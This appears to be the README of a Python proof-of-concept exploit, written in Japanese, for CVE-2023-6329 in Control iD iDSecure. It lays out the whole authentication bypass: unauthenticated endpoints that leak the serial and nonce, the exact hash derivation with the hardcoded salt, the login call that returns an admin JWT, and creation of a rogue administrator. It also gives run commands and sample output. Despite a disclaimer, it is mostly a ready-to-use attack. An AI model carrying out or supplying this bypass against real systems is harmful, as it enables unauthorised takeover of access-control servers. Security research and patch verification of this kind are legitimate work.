
CVE-2023-6329 – Control iD iDSecure ≤ 4.7.43.0 向け認証バイパスPoC
CVE-2023-6329 の Python による概念実証エクスプロイトです。これは Control iD iDSecure バージョン 4.7.43.0 以下 における不適切なアクセス制御の脆弱性です。この欠陥により、認証されていないリモート攻撃者が、公開されている値(デバイスのシリアル番号、サーバー提供の nonce、ハードコードされたソルト)のみに依存した予測可能なパスワード導出アルゴリズムを悪用して、有効なログイン資格情報を再構築できます。認証後、攻撃者は Web インターフェース上に新しい管理ユーザーを作成できます。
Michael Heinzl によるオリジナルの Metasploit モジュールに基づいて Python に変換されました。元の脆弱性は Tenable によって発見され、公開されました。
免責事項: このツールは教育目的および許可されたセキュリティテストのためだけに提供されています。作者は誤用に対する責任を負いません。所有しているシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ実行してください。
iDS-Core.dll のログインルーチンは、passwordCustom パラメータを介して別の認証パスを公開しています。このパラメータの値は、デバイスのシリアル番号(認証なしで公開取得可能)と、呼び出し元から提供される nonce、およびハードコードされたソルト文字列(cid2016)を組み合わせた、予測可能なアルゴリズムを使用して導出されます。計算のすべての要素は攻撃者が制御可能か自由に取得できるため、リモートの攻撃者は有効な passwordCustom の値を計算し、管理者としてログインできます。
このパスを介した認証が成功すると、サーバーは admin アカウントのパスワードを admin にリセットするか、アカウントが存在しない場合はそのアカウントを作成します。
エクスプロイトは5つのステップで構成されています:
1. バージョンチェック — /api/util/configUI エンドポイントは、ソフトウェアバージョンを含む 401 レスポンスを返し、対象が脆弱なビルドを実行しているかどうかを確認します。
2. アンロックデータの取得 — /api/login/unlockGetData への GET リクエストは、デバイスの serial 番号と passwordRandom nonce を返します。このエンドポイントは認証を必要としません。
3. passwordCustom の計算 — バイパス資格情報を導出するために以下のアルゴリズムが適用されます:
sha1_hash = SHA1(serial)
combined = sha1_hash + passwordRandom + "cid2016"
sha256_hash = SHA256(combined)
passwordCustom = int(sha256_hash[0:6], 16) # first 6 hex chars → decimal
4. 認証と JWT の取得 — 計算された passwordCustom と passwordRandom が /api/login/ に POST され、管理権限を持つ有効な JWT accessToken が返されます。
5. 新しい管理ユーザーの作成 — JWT を使用して /api/operator/ に POST し、idType: 1(管理者ロール)で新しいオペレーターアカウントを登録します。
requests ライブラリgit clone https://github.com/itzvenom/CVE-2023-6329.git
cd CVE-2023-6329
pip install requests
python3 exploit.py --host <TARGET_IP> [options]
デフォルトポートの対象に対する基本的な使用法:
python3 exploit.py --host 192.168.1.100
新しい管理アカウントのカスタム資格情報を指定:
python3 exploit.py --host 192.168.1.100 --username ctfadmin --password S3cr3tPass!
SSL なしの非標準ポートで実行されている対象:
python3 exploit.py --host 192.168.1.100 --port 8080 --no-ssl
[*] Target: https://192.168.1.100:30443
============================================================
[*] Target version: 4.7.32.0
[+] Target appears VULNERABLE.
[+] passwordRandom : 2948271034
[+] serial : ABC123XYZ
[*] Computed passwordCustom: 8301745
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] User 'ctfadmin' created successfully.
[+] Verified! New credentials work.
[+] Login at: https://192.168.1.100:30443/#/login
Username : ctfadmin
Password : S3cr3tPass!
| フィールド | 詳細 |
|---|
| CVE ID | CVE-2023-6329 |
| 影響を受ける製品 | Control iD iDSecure |
| 影響を受けるバージョン | ≤ 4.7.43.0 |
| 脆弱性の種類 | 不適切なアクセス制御 (CWE-284) |
| 攻撃ベクトル | ネットワーク(認証不要) |
| 公開日 | 2023年11月27日 |
| 発見者 | Tenable |
| 引数 | デフォルト | 説明 |
|---|
--host | (必須) | 対象の IP アドレスまたはホスト名 |
--port | 30443 | 対象のポート |
--username | pwned_admin | 新しい管理アカウントのユーザー名 |
--password | Pwned1234! | 新しい管理アカウントのパスワード |
--no-ssl | False | HTTPS を無効化(プレーン HTTP を使用) |